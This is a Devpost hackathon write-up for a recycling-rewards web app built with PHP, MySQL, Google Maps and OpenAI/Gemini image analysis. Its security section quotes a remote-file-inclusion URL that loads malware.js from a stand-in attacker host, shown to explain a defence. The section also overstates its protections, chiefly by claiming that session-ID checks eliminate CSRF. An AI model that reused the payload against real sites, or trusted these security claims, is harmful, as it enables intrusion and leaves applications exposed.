Inspiration
According to NC.GOV, Source:
https://deq.nc.gov/conservation/recycling/recycling-climate-change
One of the major causes of environmental pollution's is unwanted discharge or deposit of Plastic Cans, bottles, Metals, Aluminum Cans etc. on lands, Streams, Rivers and Oceans.
Cash, Meals, Gifts etc. for trash could be a game changer and a best solutions for Waste Recycling Issues.
Waste Recycling is therefore an applications designed to help and encourage Users to recycle inorganic waste (Plastic Cans, bottles, Metals, Aluminum Cans ) etc. in an exchange for Cool Cash, Meals, Goods and Services.
Consequently, a lots of Waste Recycling Companies, Organizations, Agencies etc. finds it difficult to connect with those People and various Communities who want to post and share their recycling products.
Realistically, most of the form/application submissions, processing, Waste Recycling arrangements, rewarding and communications are done manually on Paper or over an email which sometime creates monotony in their work tasks.
we develop this applications using ChatGPT/Open AI, Google Gemini AI, Google Map API, Google Address Geo-Coding API, Msql Database etc. to help Waste Recycling Companies, Organizations etc. to easily connect, manage, recycle and reward those People and various Communities who share their recycled products in an exchange of Cool Cash, Meals, Goods and Services.
What it does
An applications designed to help and encourage Users to recycle inorganic waste (Plastic Cans, bottles, Metals, Aluminum Cans ) etc. in an exchange for Cool Cash, Meals, Goods and Services.
The Application is powered by OpenAI, Google Gemini AI, Google Map, Google Address Geo-Coding API, Mysql Database etc.
On the Part of Waste Recycling Companies/Organizations
The Recycling Companies will first select their country/location and then click on Register/Updates Your Recycling Company Data button on the application Landing Page to submit their Waste Recycling Company Data.
The Data includes Company Name, Email, Website Url, Company Description, Address etc. The application automatically leverages Google Geo-Coding API to convert the company address to its respective longitude and latitude to make the company data available on the Google Map so that it can easily be accessed by users/recyclers..
On the Part of Users/Waste Recyclians & Communities
Users and various communities who which to help fight Environmental Pollution's can get rewarded by Sharing their Waste Recycling Materials like (Plastic Cans, bottles, Metals, Aluminum Cans ) and get rewarded in exchange of Cool Cash, Meals, Goods and Services etc. From the Recycling Companies
1.) The User will first select their country/location and Signup and login into the System. The Application Comprises of various Components.
2.)Recycle New Waste: This components allows users to post/recycle new waste materials.
The user will upload an image containing the waste material to be recycled. The User has to select AI Model to be used for the waste Recycling. So user can choose either ChatGPT/Open AI or Google Gemini AI. The AI Model selected by the user will then analyze the waste material in the image and then display the type of Waste Materials (Eg. Plastic, Cans, Paper etc.) and their respective Quantities which is then submitted to mysql database. Upon submission, every user can comment, like and view waste recycling awarded points.
The Comment Section: allows all users to comment on the Recycled Materials and to get back to the recycler by writing back in the comment section.
The Like Section: allows all users to like each post on Waste Material Recycling.
Award Points: Each time User post/recycle a waste Material, The System awards her a 100 Points for her contribution towards making our environments a better place.
3.)Recyclers AI Chatbot: This components allows users to easily inquiry and Chat with OpenAI and Google Gemini AI to get more detailed insights about how to recycle various waste materials like Plastics, Aluminium Cans, Papers, Bottles, Metals,organic waste/Composts etc.
4.) NearBy Waste Recycling Companies: This Components allows Waste Recyclers to connect with their nearby Waste Recycling Companies. Clicking on Map Geo-location pin-points each Waste Recycling Company data on Google map for easy access while clicking Map Direction provides users with Google Turn-by-Turn map direction to each of the Waste Recycling Companies address locations.
How we built it
This application was built leveraging Google Map Javascript API, Google Address Geo-Coding API, ChatGPT/Open AI, Google Gemini AI, Mysql Database, PHP, Jquery-Ajax, Bootstraps, Javascript etc.
The Application follows best coding practises:
1.) Frontend Code is seperated fromBackend Code. Jquery/Ajax is doing most of the frontend data processing and php is main application programming language
2.) All files Directories are well structured
4.) The Application follows and mitigates OWASP top 10 Web Vulnerabilities and other Vulnerabilities that can leads to application compromise. For instance.
A.) Application form/data is properly sanitized and validated at both FrontEnd & Backend
B.) Users Password are harshed and verified using PHP builtin harsh algorithm. eg. password_hash($password,PASSWORD_BCRYPT,$options) and password_verify($password,$row["password"]) respectively..
C.) Protection Against Session Fixation and Session Hijacking Attack: The application Protects user against all kind of session fixation attack, session hijacking etc. leveraging php builtin function
session_start();
session_regenerate_id();
This regenerate new session ID each time user logs in.
D.) Protection Against SQL Injection Attack: The application uses PHP (PDO) Portable Data Object via Prepared Statements. This eliminates any form of SQL Injection attack Completely.
E.) Cross-site scripting (XSS) Attack: The application leverages PHP builtin strip_tags() to strip out all html elements during form processing and htmlentities() functions to convert all html data to their respective html entities when displaying/outputting content to the User. This ensures that Cross Site Scripting is eliminated...
F.) File/Image Upload Attack: All the Images that is being uploaded to the system are properly checked and validated to prevent user from uploading a malicious files or over sized file. Eg. finfo_open(FILEINFO_MIME_TYPE) is used to check and validate all files against its mime-type. Many more file check were applied in the application to eliminate any upload of malicious contents.
G.) Cross Site Request Forgery: Each user activity upon login are processed and validated by users php session ID's. This ensures that cross site request forgery is eliminated...
H.) Remote File Inclusion Attack(RFI) & Local File Inclusion Attack(LFI): An attack that dynamically reference external scripts from another domain in an attempt to upload a Malware/Trojan Horse to the application that can lead to system compromise. Let's assume an attacker wants to include a malware file eg. malware.js as per link below
Eg. https://goodsite.com/index.php?module=http://evilsite.com/malware.js
In our application, this attack was mitigated using php builtin function preg_match() and preg_replace("/[^a-zA-Z0-9]+/", "", $post_id);. In this regard, our application is expecting and will only process Alphanumeric Characters from the URL. Any other malicious data will be replaced and discarded.
Eg. malicious upload of http://evilsite.com/malware.js will be replaced to harmless httpevilsitecommalwarejs This ensures that any form of malicious file inclusion attack is eliminated..
I)Many more Security features were implemented.....
App Quick test
signup or create your own account as I stated above,
On landing Page, select any country/Location. Then signup and login
Just know one thing, This app is location/country based.
For instance, if you Registered/Signup as a Nigerian, you can only access Waste Recycling data posted by your fellow Nigerians including all nearby Nigerians Waste Recycling Companies Data.
Consequently, if you Registered/Signup as a Americans, you can only access Waste Recycling data posted by your fellow Americans including all nearby Americans Waste Recycling Companies Data and vice versa.
The same thing is applicable for users from Canada, UK, Mexico, Ghana etc.
API Used
1.) Open Sourced Html Text Editor Markdown: https://github.com/markedjs/marked
2.) ChatGPT/OpenAI: https://platform.openai.com
To obtain Chatgpt API Keys. Goto this link below and signup https://beta.openai.com/account/api-keys
After that go to this link and get and generate ChatGPT api key and click on View API Keys https://platform.openai.com/account/api-keys
3.) Google Gemini AI :
To get started with Google Gemini AI and to get the API Key, visit https://github.com/google-gemini/cookbook/
4) Google Map Javascript API: Goto your Google cloud Console at https://console.cloud.google.com then create a project or select a project if you have created one in the past. then select API and Services Next click Enable API and Services
Next Click on Maps JavaScript API and Enable it. You are done.
5.) Google Address Geo-Coding API:
Goto your Google cloud Console at https://console.cloud.google.com then create a project or select a project if you have created one in the past. then select API and Services Next click Enable API and Services
Next Click on Geocoding API and Enable it. You are done.
6.) How to Get Google Map API and Geocoding API Key:
Goto your Google cloud Console at https://console.cloud.google.com then create a project or select a project if you have created one in the past. then select API and Services Next click on Credentials button at left sidebar next click Create Credentials Next select API Key and API key will be generated automatically. You are done.
What's next for Waste Recyclian
coming soon
Built With
- google-gemini-ai
- google-maps
- mysql
- openai
- php

Log in or sign up for Devpost to join the conversation.